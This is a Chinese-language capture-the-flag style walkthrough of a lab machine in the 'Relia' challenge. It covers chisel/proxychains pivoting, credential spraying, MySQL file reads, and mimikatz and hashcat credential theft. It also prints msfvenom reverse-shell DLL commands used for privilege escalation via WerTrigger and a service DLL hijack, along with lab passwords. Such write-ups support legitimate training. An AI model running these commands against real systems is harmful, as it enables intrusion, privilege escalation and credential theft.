Challenge 2 - Relia(8)
Challenge 2 - Relia(8)
下一台選定內網的機器 .8 來進行下一步的目標
上一章已經在 .191 搭建了 chisel，直接透過 socks 掃描 172.16.xxx.7 TOP 100 Port
指令，└─$ proxychains4 -q nmap -vvv -sT --top-ports=100 -Pn 172.16.172.7
nmap 掃描 80 Port 詳細資訊看看，發現是 WordPress 6.0.3
└─$ proxychains4 -q nmap -sCV -p 80 172.16.172.7 | tee nmap-80
再起一個 chisel 8090 Server，然後透過 .191 搭建 kali 8888 對應到 172.16.xxx.7 80 Port
wmic process call create "C:\users\jim\desktop\chisel.exe client 192.168.45.221:8090 R:8888:172.16.172.7:80"
開啟來看看 8888 /，看來伺服器轉址有寫死 80 Port
改搭建回 kali 80 Port，wmic process call create "C:\users\jim\desktop\chisel.exe client 192.168.45.221:8081 R:80:172.16.172.7:80"
再開一次 80 / 這一次有畫面了
點選相關連結發現有寫死 SNI "intranet.relia.com"
寫死 hosts 後可以正常開啟了
測試了幾組帳號密碼都沒有發現
後續測試 crackmapexec 發現 michelle@relia.com:NotMyPassword0k? 憑證有效
且 RDP 直接顯示 "Pwn3d!"
RDP 測試登入，└─$ proxychains4 -q xfreerdp /u:'relia.com\michelle' /p:'NotMyPassword0k?' /v:172.16.172.7，直接進去了，桌面上直接放著 local.txt flag
whoami /priv 沒有甚麼權限
搭建 chisel MySQL 到 kali，執行 select load_file('C:\\\\users\\administrator\\desktop\\proof.txt');
直接讀到 proof.txt 了，看來 MySQL 權限夠大
標準作業先建立 phoneinfo.dll
└─$ msfvenom -a x64 -p windows/x64/shell_reverse_tcp LHOST=192.168.45.221 LPORT=4444 -f dll -o phoneinfo.dll
將 phoneinfo.dll、WerTrigger.exe、Report.wer、上傳到 .7
MySQL 將檔案存到 system32 底下，select load_file('C:\\\\users\\michelle\\desktop\\phoneinfo.dll') into dumpfile 'C:\\\\Windows\\system32\\phoneinfo.dll';
檢查一下確認已放好
執行 WerTrigger.exe 成功拿到 4444 Reverse Shell，whoami 確認是管理者
再拿一次 proof.txt flag
更新攻擊列表
繼續在 .7 進行枚舉，執行 mimikatz.exe 獲得 michelle 的 HASH
.7 本機 Administrator 帳號的 NTLM HASH
網域帳號 andrea 的 NTLM HASH
hashcat 破解獲得網域帳號 andrea 的密碼是 "PasswordPassword_6"
更新帳號密碼表
在 RDP 進去的 session，使用者是 michelle 的一般使用者下有發現另外一個疑似可以提權的作用
前面我們用了 phoneinfo.dll 然後透過 MySQL 的方式提權，接下來來看看這個利用可否成功
C:\ 底下有個資料夾 Scheduler 裡面有兩個檔案 scheduler.exe & customlib.dll
匯入 PowerUp.ps1，執行服務列舉 Get-CimInstance -ClassName win32_service | Select Name,State,PathName，確實發現該路徑的 scheduler.exe 是個服務，名稱叫 Scheduler
看了一下服務的啟動是用 administrator 去跑的
看了一下兩個檔案的權限，現有使用者都只有讀取與執行的權限
測試服務可否停止再啟動，發現現有使用者可以正常停止與啟動
將檔案 COPY 到 WINPREP 啟動看看，發現無法正常啟動
註冊一個服務取名叫做 "lab2-7"，sc.exe create "lab2-7" binpath= "C:\Scheduler\scheduler.exe"
用指令 net start lab2-7 就可以正常啟動了
過濾 Process Name，Result 是 NAME NOT FOUND，PATH 結尾用 .dll 查看
發現在同路徑 c:\scheduler 下會去查找一個 dll 檔案，名稱叫做 beyondhelper.dll
建立 beyondhelper.dll Payload，msfvenom -a x64 -p windows/x64/shell_reverse_tcp LHOST=192.168.45.221 LPORT=4444 -f dll -o beyondhelper.dll
上傳到 .7 的 C:\Scheduler 路徑
重新啟動服務，拿到 Reverse Shell 了
留言
張貼留言